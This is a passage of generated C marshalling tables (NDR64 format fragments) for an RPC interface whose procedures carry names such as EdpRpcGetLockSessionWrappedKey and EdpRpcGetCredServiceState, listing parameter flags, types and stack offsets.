*/,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag401,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag401,\n        { \n        /* arg_2 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag398,\n        { \n        /* arg_3 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* arg_4 */      /* parameter arg_4 */\n        &__midl_frag382,\n        { \n        /* arg_4 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag348_t __midl_frag348 =\n{ \n/* *long */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag407\n};\n\nstatic const __midl_frag341_t __midl_frag341 =\n{ \n/* Proc33_EdpRpcDplUpgradePinInfo */\n    { \n    /* Proc33_EdpRpcDplUpgradePinInfo */      /* procedure Proc33_EdpRpcDplUpgradePinInfo */\n        (NDR64_UINT32) 17567808 /* 0x10c1040 */,    /* explicit handle */ /* IsIntrepreted, [ptr], ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 104 /* 0x68 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag401,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag407,\n        { \n        /* arg_2 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag407,\n        { \n        /* arg_3 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* arg_4 */      /* parameter arg_4 */\n        &__midl_frag407,\n        { \n        /* arg_4 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag407,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag338_t __midl_frag338 =\n{ \n/* *long */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag412\n};\n\nstatic const __midl_frag321_t __midl_frag321 =\n{ \n/* Proc32_EdpRpcGetCredServiceState */\n    { \n    /* Proc32_EdpRpcGetCredServiceState */      /* procedure Proc32_EdpRpcGetCredServiceState */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 88 /* 0x58 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 296 /* 0x128 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 10 /* 0xa */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag412,\n        { \n        /* arg_1 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag412,\n        { \n        /* arg_2 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag412,\n        { \n        /* arg_3 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* arg_4 */      /* parameter arg_4 */\n        &__midl_frag412,\n        { \n        /* arg_4 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* arg_5 */      /* parameter arg_5 */\n        &__midl_frag412,\n        { \n        /* arg_5 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* arg_6 */      /* parameter arg_6 */\n        &__midl_frag412,\n        { \n        /* arg_6 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* arg_7 */      /* parameter arg_7 */\n        &__midl_frag412,\n        { \n        /* arg_7 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* arg_8 */      /* parameter arg_8 */\n        &__midl_frag412,\n        { \n        /* arg_8 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* arg_9 */      /* parameter arg_9 */\n        &__midl_frag412,\n        { \n        /* arg_9 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag412,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        80 /* 0x50 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag316_t __midl_frag316 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x5,    /* OP_UNARY_INDIRECTION */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag315_t __midl_frag315 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag316\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag417\n    }\n};\n\nstatic const __midl_frag314_t __midl_frag314 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag315\n};\n\nstatic const __midl_frag313_t __midl_frag313 =\n{ \n/* **char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag314\n};\n\nstatic const __midl_frag309_t __midl_frag309 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag405\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag411\n    }\n};\n\nstatic const __midl_frag308_t __midl_frag308 =\n{ \n/* *char */\n    0x23,    /* FC64_FP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag309\n};\n\nstatic const __midl_frag305_t __midl_frag305 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag304_t __midl_frag304 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag305\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag406\n    }\n};\n\nstatic const __midl_frag303_t __midl_frag303 =\n{ \n/* *char */\n    0x23,    /* FC64_FP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag304\n};\n\nstatic const __midl_frag300_t __midl_frag300 =\n{ \n/* Proc31_EdpRpcGetLockSessionUnwrappedKey */\n    { \n    /* Proc31_EdpRpcGetLockSessionUnwrappedKey */      /* procedure Proc31_EdpRpcGetLockSessionUnwrappedKey */\n        (NDR64_UINT32) 23990336 /* 0x16e1040 */,    /* explicit handle */ /* IsIntrepreted, [ptr], ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag401,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag303,\n        { \n        /* arg_2 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag407,\n        { \n        /* arg_3 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* arg_4 */      /* parameter arg_4 */\n        &__midl_frag308,\n        { \n        /* arg_4 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* arg_5 */      /* parameter arg_5 */\n        &__midl_frag412,\n        { \n        /* arg_5 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* arg_6 */      /* parameter arg_6 */\n        &__midl_frag313,\n        { \n        /* arg_6 */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* arg_7 */      /* parameter arg_7 */\n        &__midl_frag455,\n        { \n        /* arg_7 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag455,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag294_t __midl_frag294 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag316\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag406\n    }\n};\n\nstatic const __midl_frag293_t __midl_frag293 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag294\n};\n\nstatic const __midl_frag292_t __midl_frag292 =\n{ \n/* **char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag293\n};\n\nstatic const __midl_frag288_t __midl_frag288 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x5,    /* OP_UNARY_INDIRECTION */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag287_t __midl_frag287 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag288\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag395\n    }\n};\n\nstatic const __midl_frag286_t __midl_frag286 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag287\n};\n\nstatic const __midl_frag285_t __midl_frag285 =\n{ \n/* **char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag286\n};\n\nstatic const __midl_frag281_t __midl_frag281 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag305\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag395\n    }\n};\n\nstatic const __midl_frag280_t __midl_frag280 =\n{ \n/* *char */\n    0x23,    /* FC64_FP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag281\n};\n\nstatic const __midl_frag277_t __midl_frag277 =\n{ \n/* Proc30_EdpRpcGetLockSessionWrappedKey */\n    { \n    /* Proc30_EdpRpcGetLockSessionWrappedKey */      /* procedure Proc30_EdpRpcGetLockSessionWrappedKey */\n        (NDR64_UINT32) 23990336 /* 0x16e1040 */,    /* explicit handle */ /* IsIntrepreted, [ptr], ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag379,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag280,\n        { \n        /* arg_2 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag398,\n        { \n        /* arg_3 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* arg_4 */      /* parameter arg_4 */\n        &__midl_frag285,\n        { \n        /* arg_4 */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* arg_5 */      /* parameter arg_5 */\n        &__midl_frag398,\n        { \n        /* arg_5 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* arg_6 */      /* parameter arg_6 */\n        &__midl_frag292,\n        { \n        /* arg_6 */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* arg_7 */      /* parameter arg_7 */\n        &__midl_frag407,\n        { \n        /* arg_7 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag407,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag273_t __midl_frag273 =\n{ \n/* **wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag389\n};\n\nstatic const __midl_frag270_t __midl_frag270 =\n{ \n/* Proc29_EdpRpcQueryDplEnforcedPolicyOwnerIds */\n    { \n    /* Proc29_EdpRpcQueryDplEnforcedPolicyOwnerIds */      /* procedure 